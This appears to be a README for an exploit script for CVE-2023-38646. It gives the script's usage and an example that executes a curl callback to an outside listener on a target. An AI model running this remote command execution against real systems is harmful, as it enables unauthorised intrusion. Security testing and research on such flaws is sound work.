CVE-2023-38646

Usage

usage: CVE-2023-38646.py [-h] -u URL [-p PROXIES] -c COMMAND

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL including the protocol. Example: https://127.0.0.1:3000/
  -p PROXIES, --proxies PROXIES
                        send requests through proxy. proxy will be used for insecure and secure connections
  -c COMMAND, --command COMMAND
                        The command to execute.

Example

python3 CVE-2023-38646.py -u "http://127.0.0.1:5000" -c "curl -s https://my-callback-listener.com"

Legal

Usage of this exploit for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

License & Authors

For licence and author information seek help from the original repository: https://github.com/hheeyywweellccoommee/CVE-2023-38646-suynl

• https://github.com/traumatism (from the fork)